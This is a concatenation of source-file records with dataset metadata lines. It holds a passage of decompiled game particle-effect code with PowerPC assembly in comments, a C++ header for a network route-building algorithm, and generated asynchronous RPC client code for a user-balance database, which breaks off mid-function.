stfs f31, 0xb4(r4)
lwz r4, 0x18(r29)
stfs f31, 0x98(r4)
stfs f31, 0x9c(r4)
stfs f31, 0xa0(r4)
stfs f31, 0xb0(r4)
stfs f31, 0xb4(r4)
b lbl_803EBFF8
lbl_803EBFF4:
li r3, 0
lbl_803EBFF8:
psq_l f31, 40(r1), 0, qr0
lwz r0, 0x34(r1)
lfd f31, 0x20(r1)
lwz r31, 0x1c(r1)
lwz r30, 0x18(r1)
lwz r29, 0x14(r1)
mtlr r0
addi r1, r1, 0x30
blr
*/
}
/*
* --INFO--
* Address: 803EC01C
* Size: 000018
*/
void TKchSmokeHana::setGlobalScale(float)
{
/*
lwz r3, 8(r3)
cmplwi r3, 0
beqlr
stfs f1, 0xb0(r3)
stfs f1, 0xb4(r3)
blr
*/
}
/*
* --INFO--
* Address: 803EC034
* Size: 0000D0
*/
void TKchDownsmoke::create(efx::Arg*)
{
/*
stwu r1, -0x30(r1)
mflr r0
stw r0, 0x34(r1)
stfd f31, 0x20(r1)
psq_st f31, 40(r1), 0, qr0
stw r31, 0x1c(r1)
stw r30, 0x18(r1)
stw r29, 0x14(r1)
mr r30, r4
mr r29, r3
mr r3, r30
lis r4, lbl_80497910@ha
lwz r12, 0(r30)
addi r31, r4, lbl_80497910@l
lwz r12, 8(r12)
mtctr r12
bctrl
mr r4, r3
addi r3, r31, 0x38
bl strcmp
cntlzw r0, r3
rlwinm. r0, r0, 0x1b, 0x18, 0x1f
bne lbl_803EC0A4
addi r3, r31, 0
addi r5, r31, 0x14
li r4, 0x143
crclr 6
bl panic_f__12JUTExceptionFPCciPCce
lbl_803EC0A4:
lfs f31, 0x10(r30)
mr r3, r29
mr r4, r30
bl create__Q23efx8TSimple1FPQ23efx3Arg
clrlwi. r0, r3, 0x18
beq lbl_803EC0DC
lwz r4, 8(r29)
li r3, 1
stfs f31, 0x98(r4)
stfs f31, 0x9c(r4)
stfs f31, 0xa0(r4)
stfs f31, 0xb0(r4)
stfs f31, 0xb4(r4)
b lbl_803EC0E0
lbl_803EC0DC:
li r3, 0
lbl_803EC0E0:
psq_l f31, 40(r1), 0, qr0
lwz r0, 0x34(r1)
lfd f31, 0x20(r1)
lwz r31, 0x1c(r1)
lwz r30, 0x18(r1)
lwz r29, 0x14(r1)
mtlr r0
addi r1, r1, 0x30
blr
*/
}
/*
* --INFO--
* Address: 803EC104
* Size: 00002C
*/
void TKchDeadHana::setGlobalScale(float)
{
/*
lwz r4, 0xc(r3)
cmplwi r4, 0
beq lbl_803EC118
stfs f1, 0xb0(r4)
stfs f1, 0xb4(r4)
lbl_803EC118:
lwz r4, 0x20(r3)
cmplwi r4, 0
beqlr
stfs f1, 0xb0(r4)
stfs f1, 0xb4(r4)
blr
*/
}
/*
* --INFO--
* Address: 803EC130
* Size: 000004
*/
void TParticleCallBack_KchYodare::init(JPABaseEmitter*, JPABaseParticle*) { }
/*
* --INFO--
* Address: 803EC134
* Size: 00017C
*/
void TParticleCallBack_KchYodare::execute(JPABaseEmitter*, JPABaseParticle*)
{
/*
stwu r1, -0x50(r1)
mflr r0
stw r0, 0x54(r1)
stfd f31, 0x40(r1)
psq_st f31, 72(r1), 0, qr0
stfd f30, 0x30(r1)
psq_st f30, 56(r1), 0, qr0
stw r31, 0x2c(r1)
stw r30, 0x28(r1)
stw r29, 0x24(r1)
mr r30, r5
mr r31, r3
mr r29, r4
mr r3, r30
bl getCalcCurrentPositionZ__15JPABaseParticleCFPC14JPABaseEmitter
fmr f30, f1
mr r3, r30
mr r4, r29
bl getCalcCurrentPositionY__15JPABaseParticleCFPC14JPABaseEmitter
fmr f31, f1
mr r3, r30
mr r4, r29
bl getCalcCurrentPositionX__15JPABaseParticleCFPC14JPABaseEmitter
lwz r3, mapMgr__4Game@sda21(r13)
stfs f1, 8(r1)
cmplwi r3, 0
stfs f31, 0xc(r1)
stfs f30, 0x10(r1)
beq lbl_803EC1C0
lwz r12, 4(r3)
addi r4, r1, 8
lwz r12, 0x28(r12)
mtctr r12
bctrl
b lbl_803EC1C4
lbl_803EC1C0:
lfs f1, lbl_8051FE40@sda21(r2)
lbl_803EC1C4:
lfs f0, 0xc(r1)
fcmpo cr0, f0, f1
bge lbl_803EC220
lwz r0, 0x7c(r30)
ori r0, r0, 2
stw r0, 0x7c(r30)
stfs f1, 0xc(r1)
lwz r3, 0x18(r31)
lwz r0, 0x1c(r31)
cmpw r3, r0
bge lbl_803EC220
mulli r0, r3, 0xc
lwz r3, 0x14(r31)
lfs f0, 8(r1)
add r3, r3, r0
stfs f0, 0(r3)
lfs f0, 0xc(r1)
stfs f0, 4(r3)
lfs f0, 0x10(r1)
stfs f0, 8(r3)
lwz r3, 0x18(r31)
addi r0, r3, 1
stw r0, 0x18(r31)
lbl_803EC220:
lfs f1, 0xc(r1)
lfs f0, 0x3c(r31)
fcmpo cr0, f1, f0
bge lbl_803EC284
lwz r0, 0x7c(r30)
ori r0, r0, 2
stw r0, 0x7c(r30)
lfs f0, 0x3c(r31)
stfs f0, 0xc(r1)
lwz r3, 0x34(r31)
lwz r0, 0x38(r31)
cmpw r3, r0
bge lbl_803EC284
mulli r0, r3, 0xc
lwz r3, 0x30(r31)
lfs f0, 8(r1)
add r3, r3, r0
stfs f0, 0(r3)
lfs f0, 0xc(r1)
stfs f0, 4(r3)
lfs f0, 0x10(r1)
stfs f0, 8(r3)
lwz r3, 0x34(r31)
addi r0, r3, 1
stw r0, 0x34(r31)
lbl_803EC284:
psq_l f31, 72(r1), 0, qr0
lfd f31, 0x40(r1)
psq_l f30, 56(r1), 0, qr0
lfd f30, 0x30(r1)
lwz r31, 0x2c(r1)
lwz r30, 0x28(r1)
lwz r0, 0x54(r1)
lwz r29, 0x24(r1)
mtlr r0
addi r1, r1, 0x50
blr
*/
}
/*
* --INFO--
* Address: 803EC2B0
* Size: 000108
*/
void TKchYodareBaseChaseMtx::create(efx::Arg*)
{
/*
stwu r1, -0x30(r1)
mflr r0
stw r0, 0x34(r1)
stfd f31, 0x20(r1)
psq_st f31, 40(r1), 0, qr0
stw r31, 0x1c(r1)
stw r30, 0x18(r1)
stw r29, 0x14(r1)
or. r30, r4, r4
lis r4, lbl_80497910@ha
mr r29, r3
addi r31, r4, lbl_80497910@l
bne lbl_803EC2F8
addi r3, r31, 0
addi r5, r31, 0x14
li r4, 0x184
crclr 6
bl panic_f__12JUTExceptionFPCciPCce
lbl_803EC2F8:
mr r3, r30
lwz r12, 0(r30)
lwz r12, 8(r12)
mtctr r12
bctrl
mr r4, r3
addi r3, r31, 0x54
bl strcmp
cntlzw r0, r3
rlwinm. r0, r0, 0x1b, 0x18, 0x1f
bne lbl_803EC338
addi r3, r31, 0
addi r5, r31, 0x14
li r4, 0x185
crclr 6
bl panic_f__12JUTExceptionFPCciPCce
lbl_803EC338:
addi r3, r29, 0x18
lfs f31, 0x10(r30)
lwz r12, 0x18(r29)
li r4, 0
lwz r12, 8(r12)
mtctr r12
bctrl
addi r3, r29, 0x34
li r4, 0
lwz r12, 0x34(r29)
lwz r12, 8(r12)
mtctr r12
bctrl
stfs f31, 0x50(r29)
mr r3, r29
mr r4, r30
bl create__Q23efx5TSyncFPQ23efx3Arg
clrlwi. r0, r3, 0x18
beq lbl_803EC390
lwz r3, 8(r29)
addi r0, r29, 0x14
stw r0, 0xf0(r3)
lbl_803EC390:
li r3, 1
psq_l f31, 40(r1), 0, qr0
lwz r0, 0x34(r1)
lfd f31, 0x20(r1)
lwz r31, 0x1c(r1)
lwz r30, 0x18(r1)
lwz r29, 0x14(r1)
mtlr r0
addi r1, r1, 0x30
blr
*/
}
/*
* --INFO--
* Address: 803EC3B8
* Size: 000018
*/
void TKchYodareBaseChaseMtx::setGlobalScale(float)
{
/*
lwz r3, 8(r3)
cmplwi r3, 0
beqlr
stfs f1, 0xb0(r3)
stfs f1, 0xb4(r3)
blr
*/
}
} // namespace efx
/*
* --INFO--
* Address: 803EC3D0
* Size: 000108
*/
void setPosNrm__Q23efx11THdamaSightFR10Vector3f R10Vector3f(void)
{
/*
stwu r1, -0x40(r1)
mflr r0
stw r0, 0x44(r1)
lwz r0, 8(r3)
cmplwi r0, 0
beq lbl_803EC4C8
lfs f5, 4(r5)
lfs f6, 8(r5)
fmuls f1, f5, f5
lfs f4, 0(r5)
fmuls f2, f6, f6
lfs f0, lbl_8051FE40@sda21(r2)
fmadds f1, f4, f4, f1
fadds f1, f2, f1
fcmpo cr0, f1, f0
ble lbl_803EC420
ble lbl_803EC424
frsqrte f0, f1
fmuls f1, f0, f1
b lbl_803EC424
lbl_803EC420:
fmr f1, f0
lbl_803EC424:
lfs f0, lbl_8051FE40@sda21(r2)
fcmpo cr0, f1, f0
ble lbl_803EC444
lfs f0, lbl_8051FE44@sda21(r2)
fdivs f0, f0, f1
fmuls f4, f4, f0
fmuls f5, f5, f0
fmuls f6, f6, f0
lbl_803EC444:
lfs f1, lbl_8051FE40@sda21(r2)
lfs f2, lbl_8051FE44@sda21(r2)
fmuls f3, f1, f4
stfs f4, 0xc(r1)
fmuls f0, f1, f5
fnmsubs f8, f2, f6, f3
fmsubs f7, f1, f6, f0
fmsubs f3, f2, f5, f3
fmuls f2, f6, f8
fmuls f0, f5, f7
stfs f7, 0x10(r1)
fmuls f1, f4, f3
fmsubs f2, f5, f3, f2
fmsubs f0, f4, f8, f0
fmsubs f1, f6, f7, f1
stfs f2, 8(r1)
lfs f2, 0(r4)
stfs f2, 0x14(r1)
stfs f1, 0x18(r1)
stfs f5, 0x1c(r1)
stfs f8, 0x20(r1)
lfs f1, 4(r4)
stfs f1, 0x24(r1)
stfs f0, 0x28(r1)
stfs f6, 0x2c(r1)
stfs f3, 0x30(r1)
lfs f0, 8(r4)
stfs f0, 0x34(r1)
lwz r5, 8(r3)
addi r3, r1, 8
addi r4, r5, 0x68
addi r5, r5, 0xa4
bl "JPASetRMtxTVecfromMtx__FPA4_CfPA4_fPQ29JGeometry8TVec3<f>"
lbl_803EC4C8:
lwz r0, 0x44(r1)
mtlr r0
addi r1, r1, 0x40
blr
*/
}
namespace efx {
/*
* --INFO--
* Address: 803EC4D8
* Size: 0000D0
*/
void THdamaShell::create(efx::Arg*)
{
/*
stwu r1, -0x20(r1)
mflr r0
stw r0, 0x24(r1)
stw r31, 0x1c(r1)
mr r31, r4
stw r30, 0x18(r1)
mr r30, r3
mr r3, r31
lwz r12, 0(r31)
lwz r12, 8(r12)
mtctr r12
bctrl
mr r4, r3
addi r3, r2, lbl_8051FE38@sda21
bl strcmp
cntlzw r0, r3
rlwinm. r0, r0, 0x1b, 0x18, 0x1f
bne lbl_803EC53C
lis r3, lbl_80497910@ha
lis r5, lbl_80497924@ha
addi r3, r3, lbl_80497910@l
li r4, 0x1b8
addi r5, r5, lbl_80497924@l
crclr 6
bl panic_f__12JUTExceptionFPCciPCce
lbl_803EC53C:
lfs f2, 0x10(r31)
mr r3, r30
lfs f1, 0x14(r31)
mr r4, r31
lfs f0, 0x18(r31)
stfs f2, 8(r1)
stfs f1, 0xc(r1)
stfs f0, 0x10(r1)
bl create__Q23efx5TSyncFPQ23efx3Arg
clrlwi. r0, r3, 0x18
beq lbl_803EC58C
lwz r4, 8(r30)
li r3, 1
lfs f0, 8(r1)
lfs f1, 0xc(r1)
stfs f0, 0x18(r4)
lfs f0, 0x10(r1)
stfs f1, 0x1c(r4)
stfs f0, 0x20(r4)
b lbl_803EC590
lbl_803EC58C:
li r3, 0
lbl_803EC590:
lwz r0, 0x24(r1)
lwz r31, 0x1c(r1)
lwz r30, 0x18(r1)
mtlr r0
addi r1, r1, 0x20
blr
*/
}
/*
* --INFO--
* Address: 803EC5A8
* Size: 0001BC
*/
void THdamaHit2W::create(efx::Arg*)
{
/*
stwu r1, -0x90(r1)
mflr r0
stw r0, 0x94(r1)
stfd f31, 0x80(r1)
psq_st f31, 136(r1), 0, qr0
stfd f30, 0x70(r1)
psq_st f30, 120(r1), 0, qr0
stfd f29, 0x60(r1)
psq_st f29, 104(r1), 0, qr0
stw r31, 0x5c(r1)
stw r30, 0x58(r1)
stw r29, 0x54(r1)
mr r29, r4
mr r31, r3
mr r3, r29
lwz r12, 0(r29)
lwz r12, 8(r12)
mtctr r12
bctrl
mr r4, r3
addi r3, r2, lbl_8051FE38@sda21
bl strcmp
cntlzw r0, r3
rlwinm. r0, r0, 0x1b, 0x18, 0x1f
bne lbl_803EC628
lis r3, lbl_80497910@ha
lis r5, lbl_80497924@ha
addi r3, r3, lbl_80497910@l
li r4, 0x1c5
addi r5, r5, lbl_80497924@l
crclr 6
bl panic_f__12JUTExceptionFPCciPCce
lbl_803EC628:
lfs f31, 0x10(r29)
mr r30, r29
lfs f30, 0x14(r29)
mr r3, r31
lfs f29, 0x18(r29)
mr r4, r29
bl create__Q23efx8TSimple3FPQ23efx3Arg
clrlwi. r0, r3, 0x18
beq lbl_803EC72C
lfs f4, lbl_8051FE40@sda21(r2)
lis r3, "zero__10Vector3<f>"@ha
lfsu f1, "zero__10Vector3<f>"@l(r3)
li r29, 0
fmuls f3, f4, f30
lfs f5, lbl_8051FE44@sda21(r2)
fmuls f8, f4, f31
lfs f2, 4(r3)
lfs f0, 8(r3)
fmsubs f7, f4, f29, f3
fmsubs f6, f5, f30, f8
stfs f1, 0x20(r1)
fnmsubs f5, f5, f29, f8
fmuls f1, f30, f7
stfs f31, 0x18(r1)
fmuls f3, f31, f6
fmuls f4, f29, f5
stfs f7, 0x1c(r1)
fmsubs f1, f31, f5, f1
fmsubs f3, f29, f7, f3
stfs f30, 0x28(r1)
fmsubs f4, f30, f6, f4
stfs f5, 0x2c(r1)
stfs f3, 0x24(r1)
stfs f4, 0x14(r1)
stfs f2, 0x30(r1)
stfs f1, 0x34(r1)
stfs f29, 0x38(r1)
stfs f6, 0x3c(r1)
stfs f0, 0x40(r1)
lbl_803EC6C4:
lwz r4, 0xc(r31)
addi r3, r1, 0x14
addi r4, r4, 0x68
bl JPASetRMtxfromMtx__FPA4_CfPA4_f
addi r29, r29, 1
addi r31, r31, 4
cmpwi r29, 3
blt lbl_803EC6C4
lis r3, __vt__Q23efx5TBase@ha
lis r4, __vt__Q23efx8TSimple1@ha
addi r0, r3, __vt__Q23efx5TBase@l
lis r3, __vt__Q23efx12THdamaShootA@ha
stw r0, 8(r1)
addi r0, r4, __vt__Q23efx8TSimple1@l
li r6, 0x9c
li r5, 0
stw r0, 8(r1)
addi r0, r3, __vt__Q23efx12THdamaShootA@l
mr r4, r30
addi r3, r1, 8
sth r6, 0xc(r1)
stw r5, 0x10(r1)
stw r0, 8(r1)
bl create__Q23efx8TSimple1FPQ23efx3Arg
li r3, 1
b lbl_803EC730
lbl_803EC72C:
li r3, 0
lbl_803EC730:
psq_l f31, 136(r1), 0, qr0
lfd f31, 0x80(r1)
psq_l f30, 120(r1), 0, qr0
lfd f30, 0x70(r1)
psq_l f29, 104(r1), 0, qr0
lfd f29, 0x60(r1)
lwz r31, 0x5c(r1)
lwz r30, 0x58(r1)
lwz r0, 0x94(r1)
lwz r29, 0x54(r1)
mtlr r0
addi r1, r1, 0x90
blr
*/
}
/*
* --INFO--
* Address: 803EC764
* Size: 000174
*/
void THdamaDeadHahen1::create(efx::Arg*)
{
/*
stwu r1, -0x70(r1)
mflr r0
stw r0, 0x74(r1)
stfd f31, 0x60(r1)
psq_st f31, 104(r1), 0, qr0
stw r31, 0x5c(r1)
stw r30, 0x58(r1)
stw r29, 0x54(r1)
mr r30, r4
mr r29, r3
mr r3, r30
lis r4, lbl_80497910@ha
lwz r12, 0(r30)
addi r31, r4, lbl_80497910@l
lwz r12, 8(r12)
mtctr r12
bctrl
mr r4, r3
addi r3, r31, 0x2c
bl strcmp
cntlzw r0, r3
rlwinm. r0, r0, 0x1b, 0x18, 0x1f
bne lbl_803EC7D4
addi r3, r31, 0
addi r5, r31, 0x14
li r4, 0x1e4
crclr 6
bl panic_f__12JUTExceptionFPCciPCce
lbl_803EC7D4:
lfs f0, 0x10(r30)
mr r3, r29
mr r4, r30
stfs f0, 0x14(r1)
lfs f0, 0x14(r30)
stfs f0, 0x18(r1)
lfs f0, 0x18(r30)
stfs f0, 0x1c(r1)
lfs f0, 0x1c(r30)
stfs f0, 8(r1)
lfs f0, 0x20(r30)
stfs f0, 0xc(r1)
lfs f0, 0x24(r30)
stfs f0, 0x10(r1)
bl create__Q23efx8TSimple1FPQ23efx3Arg
clrlwi. r0, r3, 0x18
beq lbl_803EC8B0
addi r3, r1, 0x20
addi r4, r1, 0x14
addi r5, r1, 8
bl "makeMtxZAxisAlongPosPos__3efxFPA4_fR10Vector3<f>R10Vector3<f>"
lfs f1, 0xc(r1)
lfs f0, 0x18(r1)
lfs f3, 0x10(r1)
fsubs f4, f1, f0
lfs f2, 0x1c(r1)
lfs f1, 8(r1)
lfs f0, 0x14(r1)
fsubs f2, f3, f2
fmuls f3, f4, f4
fsubs f1, f1, f0
lfs f0, lbl_8051FE40@sda21(r2)
fmuls f2, f2, f2
fmadds f1, f1, f1, f3
fadds f1, f2, f1
fcmpo cr0, f1, f0
ble lbl_803EC878
ble lbl_803EC87C
frsqrte f0, f1
fmuls f1, f0, f1
b lbl_803EC87C
lbl_803EC878:
fmr f1, f0
lbl_803EC87C:
lfs f0, lbl_8051FE50@sda21(r2)
addi r3, r1, 0x20
lwz r5, 8(r29)
fdivs f31, f1, f0
addi r4, r5, 0x68
addi r5, r5, 0xa4
bl "JPASetRMtxTVecfromMtx__FPA4_CfPA4_fPQ29JGeometry8TVec3<f>"
lwz r4, 8(r29)
li r3, 1
lfs f1, 4(r4)
fmuls f1, f1, f31
stfs f1, 4(r4)
b lbl_803EC8B4
lbl_803EC8B0:
li r3, 0
lbl_803EC8B4:
psq_l f31, 104(r1), 0, qr0
lwz r0, 0x74(r1)
lfd f31, 0x60(r1)
lwz r31, 0x5c(r1)
lwz r30, 0x58(r1)
lwz r29, 0x54(r1)
mtlr r0
addi r1, r1, 0x70
blr
*/
}
/*
* --INFO--
* Address: 803EC8D8
* Size: 00018C
*/
void THdamaDeadHahen2::create(efx::Arg*)
{
/*
stwu r1, -0x70(r1)
mflr r0
stw r0, 0x74(r1)
stfd f31, 0x60(r1)
psq_st f31, 104(r1), 0, qr0
stw r31, 0x5c(r1)
stw r30, 0x58(r1)
stw r29, 0x54(r1)
mr r30, r4
mr r29, r3
mr r3, r30
lis r4, lbl_80497910@ha
lwz r12, 0(r30)
addi r31, r4, lbl_80497910@l
lwz r12, 8(r12)
mtctr r12
bctrl
mr r4, r3
addi r3, r31, 0x2c
bl strcmp
cntlzw r0, r3
rlwinm. r0, r0, 0x1b, 0x18, 0x1f
bne lbl_803EC948
addi r3, r31, 0
addi r5, r31, 0x14
li r4, 0x200
crclr 6
bl panic_f__12JUTExceptionFPCciPCce
lbl_803EC948:
lfs f0, 0x10(r30)
mr r3, r29
mr r4, r30
stfs f0, 0x14(r1)
lfs f0, 0x14(r30)
stfs f0, 0x18(r1)
lfs f0, 0x18(r30)
stfs f0, 0x1c(r1)
lfs f0, 0x1c(r30)
stfs f0, 8(r1)
lfs f0, 0x20(r30)
stfs f0, 0xc(r1)
lfs f0, 0x24(r30)
stfs f0, 0x10(r1)
bl create__Q23efx8TSimple2FPQ23efx3Arg
clrlwi. r0, r3, 0x18
beq lbl_803ECA3C
addi r3, r1, 0x20
addi r4, r1, 0x14
addi r5, r1, 8
bl "makeMtxZAxisAlongPosPos__3efxFPA4_fR10Vector3<f>R10Vector3<f>"
lfs f1, 0xc(r1)
lfs f0, 0x18(r1)
lfs f3, 0x10(r1)
fsubs f4, f1, f0
lfs f2, 0x1c(r1)
lfs f1, 8(r1)
lfs f0, 0x14(r1)
fsubs f2, f3, f2
fmuls f3, f4, f4
fsubs f1, f1, f0
lfs f0, lbl_8051FE40@sda21(r2)
fmuls f2, f2, f2
fmadds f1, f1, f1, f3
fadds f1, f2, f1
fcmpo cr0, f1, f0
ble lbl_803EC9EC
ble lbl_803EC9F0
frsqrte f0, f1
fmuls f1, f0, f1
b lbl_803EC9F0
lbl_803EC9EC:
fmr f1, f0
lbl_803EC9F0:
lfs f0, lbl_8051FE50@sda21(r2)
mr r31, r29
li r30, 0
fdivs f31, f1, f0
lbl_803ECA00:
lwz r5, 8(r31)
addi r3, r1, 0x20
addi r4, r5, 0x68
addi r5, r5, 0xa4
bl "JPASetRMtxTVecfromMtx__FPA4_CfPA4_fPQ29JGeometry8TVec3<f>"
lwz r3, 8(r31)
addi r30, r30, 1
cmpwi r30, 2
addi r31, r31, 4
lfs f1, 4(r3)
fmuls f1, f1, f31
stfs f1, 4(r3)
blt lbl_803ECA00
li r3, 1
b lbl_803ECA40
lbl_803ECA3C:
li r3, 0
lbl_803ECA40:
psq_l f31, 104(r1), 0, qr0
lwz r0, 0x74(r1)
lfd f31, 0x60(r1)
lwz r31, 0x5c(r1)
lwz r30, 0x58(r1)
lwz r29, 0x54(r1)
mtlr r0
addi r1, r1, 0x70
blr
*/
}
/*
* --INFO--
* Address: 803ECA64
* Size: 000018
*/
void TOdamaFur1::setGlobalScale(float)
{
/*
lwz r3, 8(r3)
cmplwi r3, 0
beqlr
stfs f1, 0xb0(r3)
stfs f1, 0xb4(r3)
blr
*/
}
/*
* --INFO--
* Address: 803ECA7C
* Size: 000018
*/
void TOdamaFur2::setGlobalScale(float)
{
/*
lwz r3, 8(r3)
cmplwi r3, 0
beqlr
stfs f1, 0xb0(r3)
stfs f1, 0xb4(r3)
blr
*/
}
/*
* --INFO--
* Address: 803ECA94
* Size: 00009C
*/
THdamaShell::~THdamaShell(void)
{
/*
stwu r1, -0x10(r1)
mflr r0
stw r0, 0x14(r1)
stw r31, 0xc(r1)
mr r31, r4
stw r30, 8(r1)
or. r30, r3, r3
beq lbl_803ECB14
lis r3, __vt__Q23efx11THdamaShell@ha
addi r3, r3, __vt__Q23efx11THdamaShell@l
stw r3, 0(r30)
addi r0, r3, 0x14
stw r0, 4(r30)
beq lbl_803ECB04
lis r3, __vt__Q23efx9TChasePos@ha
addi r3, r3, __vt__Q23efx9TChasePos@l
stw r3, 0(r30)
addi r0, r3, 0x14
stw r0, 4(r30)
beq lbl_803ECB04
lis r4, __vt__Q23efx5TSync@ha
addi r3, r30, 4
addi r5, r4, __vt__Q23efx5TSync@l
li r4, 0
stw r5, 0(r30)
addi r0, r5, 0x14
stw r0, 4(r30)
bl __dt__18JPAEmitterCallBackFv
lbl_803ECB04:
extsh. r0, r31
ble lbl_803ECB14
mr r3, r30
bl __dl__FPv
lbl_803ECB14:
lwz r0, 0x14(r1)
mr r3, r30
lwz r31, 0xc(r1)
lwz r30, 8(r1)
mtlr r0
addi r1, r1, 0x10
blr
*/
}
/*
* --INFO--
* Address: 803ECB30
* Size: 000008
*/
@4 @efx::TKchYodareBaseChaseMtx::~TKchYodareBaseChaseMtx(void)
{
/*
addi r3, r3, -4
b __dt__Q23efx22TKchYodareBaseChaseMtxFv
*/
}
/*
* --INFO--
* Address: 803ECB38
* Size: 000008
*/
@4 @efx::THdamaShell::~THdamaShell(void)
{
/*
addi r3, r3, -4
b __dt__Q23efx11THdamaShellFv
*/
}
} // namespace efx
| 20.926367
| 83
| 0.579276
|
projectPiki
|
153b4d03588d0f7d218505b06ee88747a530261b
| 1,613
|
hpp
|
C++
|
src/algorithm/algorithmBase.hpp
|
TheSonOfDeimos/network-routing-optimization
|
7030b5cf333f19ab68952b6841463f4cfd664895
|
[
"MIT"
] | null | null | null |
src/algorithm/algorithmBase.hpp
|
TheSonOfDeimos/network-routing-optimization
|
7030b5cf333f19ab68952b6841463f4cfd664895
|
[
"MIT"
] | null | null | null |
src/algorithm/algorithmBase.hpp
|
TheSonOfDeimos/network-routing-optimization
|
7030b5cf333f19ab68952b6841463f4cfd664895
|
[
"MIT"
] | null | null | null |
#ifndef ALGORITHM_BASE_HPP
#define ALGORITHM_BASE_HPP
#include <unordered_map>
#include <vector>
#include "types.hpp"
struct Cell
{
// Relative values
double ping; // ms
double packetLoss; // amount of lost packets in % per 100 packets
double speed; // Mbit/sec
// Absolute values
double bandwidth; // Mbit/sec
dataVolume_t bufferVolume; // Mb
double cost = -1;
std::vector<hostAddress_t> path = {};
};
// On Input
using ConnectMatrix_t = std::unordered_map<hostAddress_t, std::unordered_map<hostAddress_t, Cell>>;
struct Route
{
double cost;
std::vector<hostAddress_t> path;
hostAddress_t source;
hostAddress_t destination;
};
// On Output
using RouteTable_t = std::vector<Route>;
class AlgorithmBase
{
public:
virtual ~AlgorithmBase() = default;
RouteTable_t buildRoutes(const ConnectMatrix_t& matrix);
protected:
ConnectMatrix_t buildNext(const ConnectMatrix_t& startMatrix, const ConnectMatrix_t& prevMatrix);
virtual status_t adoptStartMatrix(ConnectMatrix_t& startMatrix) = 0;
virtual status_t isPathPossible(hostAddress_t startLineAddr, const std::pair<hostAddress_t, Cell>& startElement, hostAddress_t prevLineAddr, const std::pair<hostAddress_t, Cell>& prevElement) = 0;
virtual status_t appentToNextMatrix(hostAddress_t startLineAddr, const std::pair<hostAddress_t, Cell>& startElement, hostAddress_t prevLineAddr, const std::pair<hostAddress_t, Cell>& prevElement, ConnectMatrix_t& nextMatrix) = 0;
virtual RouteTable_t mergeMatrixToRouteTable(const std::vector<ConnectMatrix_t>& matrixVec) = 0;
};
#endif
| 29.87037
| 233
| 0.748915
|
TheSonOfDeimos
|
15408cbedb0f32036560f6b4a2ef5e0bb19323ab
| 8,233
|
cpp
|
C++
|
generated/src/DatabaseAsyncClient.cpp
|
automyinc/vnx-examples
|
492423bb8c8447f641e5691f45575056cab396df
|
[
"MIT"
] | null | null | null |
generated/src/DatabaseAsyncClient.cpp
|
automyinc/vnx-examples
|
492423bb8c8447f641e5691f45575056cab396df
|
[
"MIT"
] | null | null | null |
generated/src/DatabaseAsyncClient.cpp
|
automyinc/vnx-examples
|
492423bb8c8447f641e5691f45575056cab396df
|
[
"MIT"
] | null | null | null |
// AUTO GENERATED by vnxcppcodegen
#include <example/package.hxx>
#include <example/DatabaseAsyncClient.hxx>
#include <vnx/Input.h>
#include <vnx/Output.h>
namespace example {
DatabaseAsyncClient::DatabaseAsyncClient(const std::string& service_name)
: AsyncClient::AsyncClient(vnx::Hash64(service_name))
{
}
DatabaseAsyncClient::DatabaseAsyncClient(vnx::Hash64 service_addr)
: AsyncClient::AsyncClient(service_addr)
{
}
uint64_t DatabaseAsyncClient::add_user(const ::std::string& name, const std::function<void()>& _callback) {
std::shared_ptr<vnx::Binary> _argument_data = vnx::Binary::create();
vnx::BinaryOutputStream _stream_out(_argument_data.get());
vnx::TypeOutput _out(&_stream_out);
const vnx::TypeCode* _type_code = vnx::get_type_code(vnx::Hash64(0x2741180fbb8f23a1ull));
{
vnx::write(_out, name, _type_code, _type_code->fields[0].code.data());
}
_out.flush();
_argument_data->type_code = _type_code;
const uint64_t _request_id = vnx_request(_argument_data);
vnx_queue_add_user[_request_id] = _callback;
vnx_num_pending++;
return _request_id;
}
uint64_t DatabaseAsyncClient::add_user_balance(const ::std::string& name, const ::vnx::float64_t& value, const std::function<void()>& _callback) {
std::shared_ptr<vnx::Binary> _argument_data = vnx::Binary::create();
vnx::BinaryOutputStream _stream_out(_argument_data.get());
vnx::TypeOutput _out(&_stream_out);
const vnx::TypeCode* _type_code = vnx::get_type_code(vnx::Hash64(0x3d6e042d45e04326ull));
{
char* const _buf = _out.write(8);
vnx::write_value(_buf + 0, value);
vnx::write(_out, name, _type_code, _type_code->fields[0].code.data());
}
_out.flush();
_argument_data->type_code = _type_code;
const uint64_t _request_id = vnx_request(_argument_data);
vnx_queue_add_user_balance[_request_id] = _callback;
vnx_num_pending++;
return _request_id;
}
uint64_t DatabaseAsyncClient::get_user(const ::std::string& name, const std::function<void(::std::shared_ptr<const ::example::User>)>& _callback) {
std::shared_ptr<vnx::Binary> _argument_data = vnx::Binary::create();
vnx::BinaryOutputStream _stream_out(_argument_data.get());
vnx::TypeOutput _out(&_stream_out);
const vnx::TypeCode* _type_code = vnx::get_type_code(vnx::Hash64(0x3e6f70937269a136ull));
{
vnx::write(_out, name, _type_code, _type_code->fields[0].code.data());
}
_out.flush();
_argument_data->type_code = _type_code;
const uint64_t _request_id = vnx_request(_argument_data);
vnx_queue_get_user[_request_id] = _callback;
vnx_num_pending++;
return _request_id;
}
uint64_t DatabaseAsyncClient::get_user_balance(const ::std::string& name, const std::function<void(::vnx::float64_t)>& _callback) {
std::shared_ptr<vnx::Binary> _argument_data = vnx::Binary::create();
vnx::BinaryOutputStream _stream_out(_argument_data.get());
vnx::TypeOutput _out(&_stream_out);
const vnx::TypeCode* _type_code = vnx::get_type_code(vnx::Hash64(0xe625a8cfd51e9a9eull));
{
vnx::write(_out, name, _type_code, _type_code->fields[0].code.data());
}
_out.flush();
_argument_data->type_code = _type_code;
const uint64_t _request_id = vnx_request(_argument_data);
vnx_queue_get_user_balance[_request_id] = _callback;
vnx_num_pending++;
return _request_id;
}
uint64_t DatabaseAsyncClient::handle(const ::std::shared_ptr<const ::example::Transaction>& sample, const std::function<void()>& _callback) {
std::shared_ptr<vnx::Binary> _argument_data = vnx::Binary::create();
vnx::BinaryOutputStream _stream_out(_argument_data.get());
vnx::TypeOutput _out(&_stream_out);
const vnx::TypeCode* _type_code = vnx::get_type_code(vnx::Hash64(0xa9a81442632b020eull));
{
vnx::write(_out, sample, _type_code, _type_code->fields[0].code.data());
}
_out.flush();
_argument_data->type_code = _type_code;
const uint64_t _request_id = vnx_request(_argument_data);
vnx_queue_handle_example_Transaction[_request_id] = _callback;
vnx_num_pending++;
return _request_id;
}
uint64_t DatabaseAsyncClient::subtract_user_balance(const ::std::string& name, const ::vnx::float64_t& value, const std::function<void()>& _callback) {
